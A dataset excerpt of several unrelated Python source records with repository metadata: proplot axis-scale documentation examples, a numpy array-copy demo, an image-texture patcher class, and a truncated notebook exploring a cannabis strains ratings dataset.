`~matplotlib.axis.YAxis.tick_right`, `~matplotlib.axis.XAxis.tick_top`, and\n# `~matplotlib.axis.XAxis.tick_bottom`, and `~matplotlib.spines.Spine.set_position`,\n# but with additional flexibility.\n\n# %%\nimport proplot as pplt\npplt.rc.update(\n    metawidth=1.2, fontsize=10, gridcolor='coral',\n    axesedgecolor='deep orange', figurefacecolor='white',\n)\nfig = pplt.figure(share=False, refwidth=2, suptitle='Axis locations demo')\n\n# Spine location demonstration\nax = fig.subplot(121, title='Various locations')\nax.format(xloc='top', xlabel='original axis')\nax.twiny(xloc='bottom', xcolor='black', xlabel='locked twin')\nax.twiny(xloc=('axes', 1.25), xcolor='black', xlabel='offset twin')\nax.twiny(xloc=('axes', -0.25), xcolor='black', xlabel='offset twin')\nax.format(ytickloc='both', yticklabelloc='both')\nax.format(ylabel='labels on both sides')\n\n# Other locations locations\nax = fig.subplot(122, title='Zero-centered spines', titlepad='1em')\nax.format(xlim=(-10, 10), ylim=(-3, 3), yticks=1)\nax.format(xloc='zero', yloc='zero')\npplt.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_scales:\n#\n# Axis scales\n# -----------\n#\n# \"Axis scales\" like ``'linear'`` and ``'log'`` control the *x* and *y* axis\n# coordinate system. To change the axis scale, pass e.g. ``xscale='log'`` or\n# ``yscale='log'`` to `~proplot.axes.Axes.format`. This is powered by the\n# `~proplot.constructor.Scale` :ref:`constructor function <why_constructor>`.\n# Proplot makes several changes to the axis scale API:\n#\n# * The `~proplot.ticker.AutoFormatter` formatter is now used for all axis scales\n#   by default, including ``'log'`` and ``'symlog'``. Matplotlib's behavior can\n#   be restored by passing e.g. ``xformatter='log'`` or ``yformatter='log'`` to\n#   `~proplot.axes.CartesianAxes.format`.\n# * To make its behavior consistent with `~proplot.constructor.Locator` and\n#   `~proplot.constructor.Formatter`, the `~proplot.constructor.Scale`\n#   constructor function returns instances of `~matplotlib.scale.ScaleBase`,\n#   and `~matplotlib.axes.Axes.set_xscale` and\n#   `~matplotlib.axes.Axes.set_yscale` now accept these class instances in\n#   addition to \"registered\" names like ``'log'``.\n# * While matplotlib axis scales must be instantiated with an\n#   `~matplotlib.axis.Axis` instance (for backwards compatibility reasons),\n#   proplot axis scales can be instantiated without the axis instance\n#   (e.g., ``pplt.LogScale()`` instead of ``pplt.LogScale(ax.xaxis)``).\n# * The default `subs` for the ``'symlog'`` axis scale is now ``np.arange(1, 10)``,\n#   and the default `linthresh` is now ``1``. Also the ``'log'`` and ``'symlog'``\n#   axis scales now accept the keywords `base`, `linthresh`, `linscale`, and\n#   `subs` rather than keywords with trailing ``x`` or ``y``.\n#\n# Proplot also includes a few new axis scales. The ``'cutoff'`` scale (see\n# `~proplot.scale.CutoffScale`) is useful when the statistical distribution\n# of your data is very unusual. The ``'sine'`` scale `~proplot.scale.SineLatitudeScale`\n# scales the axis with a sine function (resulting in an area-weighted spherical latitude\n# coordinate) and the ``'mercator'`` scale `~proplot.scale.MercatorLatitudeScale`\n# scales the axis with the Mercator projection latitude coordinate. The\n# ``'inverse'`` scale `~proplot.scale.InverseScale` can be useful when\n# working with spectral data, especially with :ref:`\"dual\" unit axes <ug_dual>`.\n# If you want to work with the axis scale classes directly, they are available\n# in the top-level namespace (e.g., ``xscale=pplt.CutoffScale(...)`` is allowed).\n\n# %%\nimport proplot as pplt\nimport numpy as np\nN = 200\nlw = 3\npplt.rc.update({'meta.width': 1, 'label.weight': 'bold', 'tick.labelweight': 'bold'})\nfig = pplt.figure(refwidth=1.8, share=False)\n\n# Linear and log scales\nax1 = fig.subplot(221)\nax1.format(yscale='linear', ylabel='linear scale')\nax2 = fig.subplot(222)\nax2.format(ylim=(1e-3, 1e3), yscale='log', ylabel='log scale')\nfor ax in (ax1, ax2):\n    ax.plot(np.linspace(0, 1, N), np.linspace(0, 1000, N), lw=lw)\n\n# Symlog scale\nax = fig.subplot(223)\nax.format(yscale='symlog', ylabel='symlog scale')\nax.plot(np.linspace(0, 1, N), np.linspace(-1000, 1000, N), lw=lw)\n\n# Logit scale\nax = fig.subplot(224)\nax.format(yscale='logit', ylabel='logit scale')\nax.plot(np.linspace(0, 1, N), np.linspace(0.01, 0.99, N), lw=lw)\n\nfig.format(suptitle='Axis scales demo', ytickminor=True)\npplt.rc.reset()\n\n\n# %%\nimport proplot as pplt\nimport numpy as np\n\n# Create figure\nx = np.linspace(0, 4 * np.pi, 100)\ndy = np.linspace(-1, 1, 5)\nys = (np.sin(x), np.cos(x))\nstate = np.random.RandomState(51423)\ndata = state.rand(len(dy) - 1, len(x) - 1)\ncolors = ('coral', 'sky blue')\ncmap = pplt.Colormap('grays', right=0.8)\nfig, axs = pplt.subplots(nrows=4, refaspect=(5, 1), figwidth=5.5, sharex=False)\n\n# Loop through various cutoff scale options\ntitles = ('Zoom out of left', 'Zoom into left', 'Discrete jump', 'Fast jump')\nargs = (\n    (np.pi, 3),  # speed up\n    (3 * np.pi, 1 / 3),  # slow down\n    (np.pi, np.inf, 3 * np.pi),  # discrete jump\n    (np.pi, 5, 3 * np.pi)  # fast jump\n)\nlocators = (\n    np.pi / 3,\n    np.pi / 3,\n    np.pi * np.append(np.linspace(0, 1, 4), np.linspace(3, 4, 4)),\n    np.pi * np.append(np.linspace(0, 1, 4), np.linspace(3, 4, 4)),\n)\nfor ax, iargs, title, locator in zip(axs, args, titles, locators):\n    ax.pcolormesh(x, dy, data, cmap=cmap)\n    for y, color in zip(ys, colors):\n        ax.plot(x, y, lw=4, color=color)\n    ax.format(\n        xscale=('cutoff', *iargs), xlim=(0, 4 * np.pi),\n        xlocator=locator, xformatter='pi', xtickminor=False,\n        ygrid=False, ylabel='wave amplitude',\n        title=title, suptitle='Cutoff axis scales demo'\n    )\n\n# %%\nimport proplot as pplt\nimport numpy as np\n\n# Create figure\nn = 30\nstate = np.random.RandomState(51423)\ndata = state.rand(n - 1, n - 1)\ncolors = ('coral', 'sky blue')\ncmap = pplt.Colormap('grays', right=0.8)\ngs = pplt.GridSpec(nrows=2, ncols=2)\nfig = pplt.figure(refwidth=2.3, share=False)\nfig.format(grid=False, suptitle='Other axis scales demo')\n\n# Geographic scales\nx = np.linspace(-180, 180, n)\ny = np.linspace(-85, 85, n)\nfor i, scale in enumerate(('sine', 'mercator')):\n    ax = fig.subplot(gs[i, 0])\n    ax.plot(x, y, '-', color=colors[i], lw=4)\n    ax.pcolormesh(x, y, data, cmap='grays', cmap_kw={'right': 0.8})\n    ax.format(\n        yscale=scale, title=scale.title() + ' scale',\n        ylim=(-85, 85), ylocator=20, yformatter='deg',\n    )\n\n# Exponential scale\nn = 50\nx = np.linspace(0, 1, n)\ny = 3 * np.linspace(0, 1, n)\ndata = state.rand(len(y) - 1, len(x) - 1)\nax = fig.subplot(gs[0, 1])\ntitle = 'Exponential $e^x$ scale'\nax.pcolormesh(x, y, data, cmap='grays', cmap_kw={'right': 0.8})\nax.plot(x, y, lw=4, color=colors[0])\nax.format(ymin=0.05, yscale=('exp', np.e), title=title)\n\n# Power scale\nax = fig.subplot(gs[1, 1])\ntitle = 'Power $x^{0.5}$ scale'\nax.pcolormesh(x, y, data, cmap='grays', cmap_kw={'right': 0.8})\nax.plot(x, y, lw=4, color=colors[1])\nax.format(ymin=0.05, yscale=('power', 0.5), title=title)\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_alt:\n#\n# Alternate axes\n# --------------\n#\n# The `matplotlib.axes.Axes` class includes `~matplotlib.axes.Axes.twinx`\n# and `~matplotlib.axes.Axes.twiny` commands for drawing \"twin\" *x* and\n# *y* axes in the same subplot. Proplot expands on these commands and adds\n# the arguably more intuitive `~proplot.axes.CartesianAxes.altx` and\n# `~proplot.axes.CartesianAxes.alty` options. Here `~proplot.axes.CartesianAxes.altx`\n# is equivalent to `~proplot.axes.CartesianAxes.twiny` (makes an alternate *x*\n# axes and an identical twin *y* axes) and `~proplot.axes.CartesianAxes.alty`\n# is equivalent to `~proplot.axes.CartesianAxes.twinx` (makes an alternate *y*\n# axes and an identical twin *x* axes). The proplot versions can be quickly\n# formatted by passing `proplot.axes.CartesianAxes.format` keyword arguments\n# to the commands (e.g., ``ax.alty(ycolor='red')`` or, since the ``y`` prefix in\n# this context is redundant, just ``ax.alty(color='red')``). They also enforce\n# sensible default locations for the spines, ticks, and labels, and disable\n# the twin axes background patch and gridlines by default.\n#\n# .. note::\n#\n#    Unlike matplotlib, proplot adds alternate axes as `children\n#    <https://matplotlib.org/stable/api/_as_gen/matplotlib.axes.Axes.add_child_axes.html>`__\n#    of the original axes. This helps simplify the :ref:`tight layout algorithm\n#    <ug_tight>` but means that the drawing order is controlled by the difference\n#    between the zorders of the alternate axes and the content *inside* the original\n#    axes rather than the zorder of the original axes itself (see `this issue page\n#    <https://github.com/lukelbd/proplot/issues/303>`__ for details).\n\n# %%\nimport proplot as pplt\nimport numpy as np\nstate = np.random.RandomState(51423)\nc0 = 'gray5'\nc1 = 'red8'\nc2 = 'blue8'\nN, M = 50, 10\n\n# Alternate y axis\ndata = state.rand(M) + (state.rand(N, M) - 0.48).cumsum(axis=0)\naltdata = 5 * (state.rand(N) - 0.45).cumsum(axis=0)\nfig = pplt.figure(share=False)\nax = fig.subplot(121, title='Alternate y twin x')\nax.line(data, color=c0, ls='--')\nox = ax.alty(color=c2, label='alternate ylabel', linewidth=1)\nox.line(altdata, color=c2)\n\n# Alternate x axis\ndata = state.rand(M) + (state.rand(N, M) - 0.48).cumsum(axis=0)\naltdata = 5 * (state.rand(N) - 0.45).cumsum(axis=0)\nax = fig.subplot(122, title='Alternate x twin y')\nax.linex(data, color=c0, ls='--')\nox = ax.altx(color=c1, label='alternate xlabel', linewidth=1)\nox.linex(altdata, color=c1)\nfig.format(xlabel='xlabel', ylabel='ylabel', suptitle='Alternate axes demo')\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_dual:\n#\n# Dual unit axes\n# --------------\n#\n# The `~proplot.axes.CartesianAxes.dualx` and\n# `~proplot.axes.CartesianAxes.dualy` methods can be used to draw duplicate *x* and\n# *y* axes meant to represent *alternate units* in the same coordinate range as the\n# \"parent\" axis. This feature is powered by the `~proplot.scale.FuncScale` class.\n# `~proplot.axes.CartesianAxes.dualx` and `~proplot.axes.CartesianAxes.dualy` accept\n# the same axis formatting keyword arguments as `~proplot.axes.CartesianAxes.altx`\n# and `~proplot.axes.CartesianAxes.alty`. The alternate units are specified with\n# either of the following three positional arguments:\n#\n# #. A single linear forward function.\n# #. A 2-tuple of arbitrary forward and inverse functions.\n# #. An :ref:`axis scale <ug_scales>` name or class instance.\n#\n# In the third case, the axis scale transforms are used for the forward and\n# inverse functions, and the default axis scale locators and formatters are used\n# for the default dual axis locators and formatters. In the below examples,\n# we generate dual axes with each of these three methods. Note that the\n# \"parent\" axis scale is arbitrary -- in the first example, we create\n# a `~proplot.axes.CartesianAxes.dualx` axis for a `symlog-scaled\n# <https://matplotlib.org/stable/gallery/scales/symlog_demo.html>`__ axis.\n\n# %%\nimport proplot as pplt\npplt.rc.update({'grid.alpha': 0.4, 'meta.width': 1, 'grid.linewidth': 1})\nc1 = pplt.scale_luminance('cerulean', 0.5)\nc2 = pplt.scale_luminance('red', 0.5)\nfig = pplt.figure(refaspect=2.2, refwidth=3, share=False)\naxs = fig.subplots(\n    [[1, 1, 2, 2], [0, 3, 3, 0]],\n    suptitle='Duplicate axes with simple transformations',\n    ylocator=[], yformatter=[], xcolor=c1, gridcolor=c1,\n)\n\n# Meters and kilometers\nax = axs[0]\nax.format(xlim=(0, 5000), xlabel='meters')\nax.dualx(\n    lambda x: x * 1e-3,\n    label='kilometers', grid=True, color=c2, gridcolor=c2\n)\n\n# Kelvin and Celsius\nax = axs[1]\nax.format(xlim=(200, 300), xlabel='temperature (K)')\nax.dualx(\n    lambda x: x - 273.15,\n    label='temperature (\\N{DEGREE SIGN}C)', grid=True, color=c2, gridcolor=c2\n)\n\n# With symlog parent\nax = axs[2]\nax.format(xlim=(-100, 100), xscale='symlog', xlabel='MegaJoules')\nax.dualx(\n    lambda x: x * 1e6,\n    label='Joules', formatter='log', grid=True, color=c2, gridcolor=c2\n)\npplt.rc.reset()\n\n# %%\nimport proplot as pplt\npplt.rc.update({'grid.alpha': 0.4, 'meta.width': 1, 'grid.linewidth': 1})\nc1 = pplt.scale_luminance('cerulean', 0.5)\nc2 = pplt.scale_luminance('red', 0.5)\nfig = pplt.figure(\n    share=False, refaspect=0.4, refwidth=1.8,\n    suptitle='Duplicate axes with pressure and height'\n)\n\n# Pressure as the linear scale, height on opposite axis (scale height 7km)\nax = fig.subplot(121)\nax.format(\n    xformatter='null', ylabel='pressure (hPa)',\n    ylim=(1000, 10), xlocator=[], ycolor=c1, gridcolor=c1\n)\nax.dualy(\n    'height', label='height (km)', ticks=2.5, color=c2, gridcolor=c2, grid=True\n)\n\n# Height as the linear scale, pressure on opposite axis (scale height 7km)\nax = fig.subplot(122)\nax.format(\n    xformatter='null', ylabel='height (km)', ylim=(0, 20), xlocator='null',\n    grid=True, gridcolor=c2, ycolor=c2\n)\nax.dualy(\n    'pressure', label='pressure (hPa)', locator=100, color=c1, gridcolor=c1, grid=True\n)\npplt.rc.reset()\n\n# %%\nimport proplot as pplt\nimport numpy as np\npplt.rc.margin = 0\nc1 = pplt.scale_luminance('cerulean', 0.5)\nc2 = pplt.scale_luminance('red', 0.5)\nfig, ax = pplt.subplots(refaspect=(3, 1), figwidth=6)\n\n# Sample data\ncutoff = 1 / 5\nx = np.linspace(0.01, 0.5, 1000)  # in wavenumber days\nresponse = (np.tanh(-((x - cutoff) / 0.03)) + 1) / 2  # response func\nax.axvline(cutoff, lw=2, ls='-', color=c2)\nax.fill_between([cutoff - 0.03, cutoff + 0.03], 0, 1, color=c2, alpha=0.3)\nax.plot(x, response, color=c1, lw=2)\n\n# Add inverse scale to top\nax.format(\n    title='Imaginary response function',\n    suptitle='Duplicate axes with wavenumber and period',\n    xlabel='wavenumber (days$^{-1}$)', ylabel='response', grid=False,\n)\nax = ax.dualx(\n    'inverse', locator='log', locator_kw={'subs': (1, 2, 5)}, label='period (days)'\n)\npplt.rc.reset()\n", "meta": {"hexsha": "0bcdc045e431d56efbeaff933fbe592cf7873f4e", "size": 25582, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/cartesian.py", "max_stars_repo_name": "xukai92/proplot", "max_stars_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/cartesian.py", "max_issues_repo_name": "xukai92/proplot", "max_issues_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/cartesian.py", "max_forks_repo_name": "xukai92/proplot", "max_forks_repo_head_hexsha": "f33edfe57c09d0d757d8017c616a0032283ac9ee", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.4114114114, "max_line_length": 92, "alphanum_fraction": 0.6945899461, "include": true, "reason": "import numpy", "num_tokens": 7803, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.162380040720207, "lm_q1q2_score": 0.07865365780895403}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 14 17:39:48 2019\r\n\r\n@author: PC\r\n\"\"\"\r\nimport numpy as np\r\n\r\nliste=[1,2,3,4]\r\n\r\narray=np.array(liste)\r\n\r\nliste2=list(array)\r\n\r\na=np.array([1,2,3,4])\r\nb=a\r\nc=a\r\n\r\nc[0]=89#b\u00f6yle yaparsak hepsi de\u011fi\u015fir \u00e7\u00fcnk\u00fc haf\u0131zaya de\u011fer olarak depolan\u0131rlar\r\n\r\n##nas\u0131l d\u00fczeltilir\r\nd=np.array([1,2,3,4])\r\ne=d.copy()\r\nf=d.copy()\r\n\r\nf[0]=23\r\ne[1]=25", "meta": {"hexsha": "6c22b34f86c130b0176655990d17cdaa954f2619", "size": 376, "ext": "py", "lang": "Python", "max_stars_repo_path": "convert_and_array.py", "max_stars_repo_name": "elmasbusenur/Python", "max_stars_repo_head_hexsha": "477db3f3c736991aa74b480bc4ec2f8959ecefa3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-02T19:13:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-02T19:13:59.000Z", "max_issues_repo_path": "convert_and_array.py", "max_issues_repo_name": "elmasbusenur/Python", "max_issues_repo_head_hexsha": "477db3f3c736991aa74b480bc4ec2f8959ecefa3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "convert_and_array.py", "max_forks_repo_name": "elmasbusenur/Python", "max_forks_repo_head_hexsha": "477db3f3c736991aa74b480bc4ec2f8959ecefa3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-12-15T07:15:38.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-15T07:15:38.000Z", "avg_line_length": 13.9259259259, "max_line_length": 78, "alphanum_fraction": 0.6090425532, "include": true, "reason": "import numpy", "num_tokens": 147, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.1895210913296776, "lm_q1q2_score": 0.07863208204682724}}
{"text": "import skimage.io as io\nimport skimage.transform as skt\nimport numpy as np\nfrom PIL import Image\nfrom src.models.class_patcher import patcher\nfrom src.utils.imgproc import *\n\n\nclass patcher(patcher):\n    def __init__(self, body='./body/body_inabikini.png', **options):\n        super().__init__('\u30d3\u30ad\u30cb(\u3044\u306a\u5c4b\u3055\u3093)', body=body, pantie_position=[-18, 456], **options)\n        self.mask = io.imread('./mask/mask_inabikini.png')\n        self.bra_mask = io.imread('./mask/mask_inabikini_bra.png')\n\n    def pick_color(self, arr):\n        return np.mean(np.mean(arr, axis=0), axis=0)\n\n    def gen_texture(self, image, size):\n        pantie = np.array(image)\n        front = pantie[20:100, 30:80, :3]\n        front_color = self.pick_color(front)\n        front_color = np.append(front_color, 255).astype(np.uint8)\n        texture = np.ones((size[0], size[1], 4),  dtype=np.uint8) * front_color\n        return Image.fromarray(texture)\n\n    def convert(self, image):\n        pantie = np.array(image)\n        patch = np.copy(pantie[-100:-5, 546:, :])\n        pantie[-100:, 546:, :] = 0\n        patch = skt.resize(patch[::-1, ::-1, :], (patch.shape[0] + 30, patch.shape[1]), anti_aliasing=True, mode='reflect')\n        [pr, pc, d] = patch.shape\n        pantie[127 - 5:127 - 5 + pr, :pc, :] = np.uint8(patch * 255)\n\n        front = pantie[:350, :300]\n        arrx = (np.linspace(0, 1, 25)**2) * 80\n        arrx[4:16] += np.sin(np.linspace(0, np.pi, 12)) * 15\n        arrx -= 50\n        arry = np.zeros(25)\n        front = affine_transform_by_arr(front, arrx, arry)\n        front = np.uint8(front[:, 7:] * 255)\n\n        back = pantie[:350, 270:-10][::-1, ::-1]\n        arrx = (np.linspace(0, 1, 25)**2) * -65\n        arrx += 70\n        arry = np.zeros(25)\n        back = affine_transform_by_arr(back, arrx, arry)\n        back = np.uint8(back[:-60, 7:] * 255)\n\n        front = np.pad(front, [(0, 0), (0, back.shape[1] - front.shape[1]), (0, 0)], mode='constant')\n        pantie = np.concatenate((front[:-68], back), axis=0)\n        pantie = np.bitwise_and(pantie, self.mask)\n        pantie = np.concatenate((pantie[:, ::-1], pantie), axis=1)\n        return Image.fromarray(pantie)\n\n    def gen_bra(self, image, fliplr=False):\n        pantie = np.array(image)\n        bra = pantie[15:170, -200:][::-1, :]\n        bra = np.uint8(resize(bra, [1.73, 1.73]) * 255)\n        bra = np.bitwise_and(bra, self.bra_mask)\n        return Image.fromarray(bra[:, ::-1] if fliplr else bra)\n\n    def patch(self, image, transparent=False):\n        pantie = self.convert(image)\n        if transparent:\n            patched = Image.new(\"RGBA\", self.body_size)\n        else:\n            patched = self.body.copy()\n        patched = self.paste(patched, self.gen_texture(image, (self.body_size[0], self.body_size[1])), [0, 0])\n        patched = self.paste(patched, self.gen_bra(image, fliplr=True), [676, 691])\n        patched = self.paste(patched, self.gen_bra(image), [372, 573])\n        patched = self.paste(patched, pantie, self.pantie_position)\n        return patched\n", "meta": {"hexsha": "d00afb70b2df58960f11dd26b6c8fff51f057c3b", "size": 3024, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/models/inabikini.py", "max_stars_repo_name": "HhotateA/quiche_pantie_patch", "max_stars_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 73, "max_stars_repo_stars_event_min_datetime": "2019-01-26T02:57:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T08:45:11.000Z", "max_issues_repo_path": "src/models/inabikini.py", "max_issues_repo_name": "HhotateA/quiche_pantie_patch", "max_issues_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-09T10:53:41.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-11T13:18:26.000Z", "max_forks_repo_path": "src/models/inabikini.py", "max_forks_repo_name": "HhotateA/quiche_pantie_patch", "max_forks_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-04-07T11:28:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T04:35:48.000Z", "avg_line_length": 41.4246575342, "max_line_length": 123, "alphanum_fraction": 0.5899470899, "include": true, "reason": "import numpy", "num_tokens": 921, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5234203489363239, "lm_q2_score": 0.15002881864182907, "lm_q1q2_score": 0.07852813660401063}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nprint(os.listdir(\"../../../input/kingburrito666_cannabis-strains\"))\nplt.style.use('ggplot') # to plot graphs with gggplot2 style\n# Any results you write to the current directory are saved as output.\n\n\n# In[ ]:\n\n\n#Reading the dataset on pandas\nstrains = pd.read_csv(\"../../../input/kingburrito666_cannabis-strains/cannabis.csv\")\n\n\n# In[ ]:\n\n\nstrains.shape\n\n\n# In[ ]:\n\n\nstrains.info()\n\n\n# In[ ]:\n\n\n# check the null value\nstrains.isnull().sum()\n\n\n# Flavor and Description have nan value\n\n# In[ ]:\n\n\nstrains.head()\n\n\n# In[ ]:\n\n\nstrains['Type']= strains['Type'].astype(str)\n\n\n# In[ ]:\n\n\nprint(strains.nunique())\n\n\n# ### EDA\n\n# In[ ]:\n\n\nprint(\"Numerical describe of distribuition Type\")\nprint(strains.groupby(\"Type\")[\"Strain\"].count())\nprint(\"Percentage of distribuition Type \")\nprint((strains.groupby(\"Type\")[\"Strain\"].count() / len(strains.Type) * 100).round(decimals=2))\n\n\n# In[ ]:\n\n\nplt.figure(figsize=(10,6))\nsns.countplot(x=\"Type\", data=strains, palette='hls')\nplt.xlabel('Species', fontsize=15)\nplt.ylabel('Count', fontsize=20)\nplt.title(\"Cannabis Species Count \", fontsize=20)\nprint()\n\n\n# ### Looking the distribuition of Rating and type by Rating\n\n# In[ ]:\n\n\nprint(\"Top 10 Rating by consumers\")\nprint(strains[\"Rating\"].value_counts().head(10))\n\nplt.figure(figsize=(8,6))\n\n#Total rating distribuition\ng = sns.distplot(strains[\"Rating\"], bins=50)\ng.set_title(\"Rating distribuition\", size = 20)\ng.set_xlabel('Rating', fontsize=15)\n\n\n#  Almost all species have rating higher than 4\n# \n# Now I will Look the distribuition separted by Type\n# \n\n# In[ ]:\n\n\nprint(\"Rating Distribuition by Species Type\")\nprint(pd.crosstab(strains[strains.Rating > 4.0]['Rating'], strains.Type))\n\nplt.figure(figsize=(10,14))\n\n#Let's look the Rating distribuition by Type.\ng = plt.subplot(311)\ng = sns.distplot(strains[(strains.Type == 'hybrid') & (strains.Rating > 0)][\"Rating\"], color='y') \ng.set_xlabel(\"Rating\", fontsize=15)\ng.set_ylabel(\"Distribuition\", fontsize=15)\ng.set_title(\"Rating Distribuition Hybrids\", fontsize=20)\n\ng1 = plt.subplot(312)\ng1 = sns.distplot(strains[(strains.Type == 'sativa') & (strains.Rating > 0)][\"Rating\"], color='g') \ng1.set_xlabel(\"Rating\", fontsize=15)\ng1.set_ylabel(\"Distribuition\", fontsize=15)\ng1.set_title(\"Rating Distribuition Sativas\", fontsize=20)\n\ng2 = plt.subplot(313)\ng2 = sns.distplot(strains[(strains.Type == 'indica') & (strains.Rating > 0)][\"Rating\"], color='r') \ng2.set_xlabel(\"Rating\", fontsize=15)\ng2.set_ylabel(\"Distribuition\", fontsize=15)\ng2.set_title(\"Rating Distribuition Indicas\", fontsize=20)\n\nplt.subplots_adjust(wspace = 0.1, hspace = 0.6,top = 0.9)\n\nprint()\n\n\n# Sativa and Indica have a similar rating distribuition, and we can see that almost of all species in dataset have rating higher than 4\n\n# ### Lets try a better look of the Rating Distribuition by species considering just the values higher than 2\n\n# In[ ]:\n\n\nplt.figure(figsize=(10,6))\n#I will now explore the Rating distribuition by Type\ng = sns.boxplot(x=\"Type\",y=\"Rating\",data=strains[strains[\"Rating\"] > 2],palette=\"hls\")\ng.set_title(\"Rating distribuition by Species Type\", fontsize=20)\ng.set_xlabel(\"Species\", fontsize=15)\ng.set_ylabel(\"Rating\", fontsize=15)\nprint()\n\n\n# WE can see that the Sativa have a less median than Hybrids and indicas\n\n# In[ ]:\n\n\n#Looking the Rating distribuition description \nprint(\"Rating less than 4: \")\nprint(strains[strains.Rating <= 4].groupby(\"Type\")[\"Strain\"].count())\nprint(\"Rating between 4 and 4.5: \")\nprint(strains[(strains.Rating > 4) & (strains.Rating <= 4.5)].groupby(\"Type\")[\"Strain\"].count())\nprint(\"Top Strains - Rating > 4.5: \")\nprint(strains[strains[\"Rating\"] > 4.5].groupby(\"Type\")[\"Strain\"].count())\nprint(\"Distribuition by type of Ratings equal 5: \")\nprint(strains[strains[\"Rating\"] == 5].groupby(\"Type\")[\"Strain\"].count())\nprint(\"Total of: 2350 different Strains\")\n\n\n# In[ ]:\n\n\n#I will extract the values in Effects and Flavor and pass to a new column\ndf_effect = pd.DataFrame(strains.Effects.str.split(',',4).tolist(), columns = ['Effect_1','Effect_2','Effect_3','Effect_4','Effect_5']) \n\ndf_flavors = pd.DataFrame(strains.Flavor.str.split(',',n=2,expand=True).values.tolist(), columns = ['Flavor_1','Flavor_2','Flavor_3']) \n\n\n# In[ ]:\n\n\n#Concatenating the new variables with strains\nstrains = pd.concat([strains, df_effect], axis=1)\nstrains = pd.concat([strains, df_flavors], axis=1)\n\n#Looking the result\nstrains.head()\n\n\n\n# In[ ]:\n\n\nstrains.columns\n\n\n# We can se the Effects and Flavors are in separated columns... Now I will explore the main related effects\n\n# In[ ]:\n\n\nprint(\"The top 5 First Effects related\")\nprint(strains['Effect_1'].value_counts()[:5])\n\nplt.figure(figsize=(13,6))\n\ng = sns.boxplot(x = 'Effect_1', y=\"Rating\", hue=\"Type\", data=strains[strains[\"Rating\"] > 3], palette=\"hls\") \ng.set_xlabel(\"Related Effect\", fontsize=15)\ng.set_ylabel(\"Rating Distribuition\", fontsize=15)\ng.set_title(\"First Effect Related x Rating by Species Type\",fontsize=20)\n\nprint()\n\n\n# ### The second most related effects and respective Rating\n\n# In[ ]:\n\n\nprint(\"The top 5 Second related Effects\")\nprint(strains['Effect_2'].value_counts()[:5])\n\nplt.figure(figsize=(13,6))\n\ng = sns.boxplot(x = 'Effect_2', y=\"Rating\", hue=\"Type\", data=strains[strains[\"Rating\"] > 3], palette=\"hls\") \ng.set_xlabel(\"Related Effect\", fontsize=15)\ng.set_ylabel(\"Rating Distribuition\", fontsize=15)\ng.set_title(\"Second Effect Related x Rating by Species Type\",fontsize=20)\n\nprint()\n\n\n# ### Now let's see the first Flavor related\n# \n# We have 33 flavors in total\n\n# In[ ]:\n\n\nstrains.head()\n\n\n# In[ ]:\n\n\nstrains.shape\n\n\n# ### Exploring Flavors\n\n# In[ ]:\n\n\nprint(\"TOP 10 Flavors related\")\nprint(strains.Flavor_1.value_counts()[:10])\n\nplt.figure(figsize=(14,6))\nsns.countplot('Flavor_1', data=strains)\nplt.xticks(rotation=90)\nplt.xlabel('Flavors', fontsize=15)\nplt.ylabel('Frequency', fontsize=15)\nplt.title(\"First flavors described \", fontsize=20)\nprint()\n\n\n# ### Let's explore the Strains with Rating equal 5\n\n# In[ ]:\n\n\n#Whats the type with most strains with rating 5?\nprint(\"Percentual of Species with Rating equal 5\")\nfive_rating = (strains[strains[\"Rating\"] == 5].groupby(\"Type\")[\"Strain\"].count()                / len(strains[strains[\"Rating\"] == 5]) *100).round(decimals=2)\nprint(five_rating)\nplt.figure(figsize=(10,6))\ng = 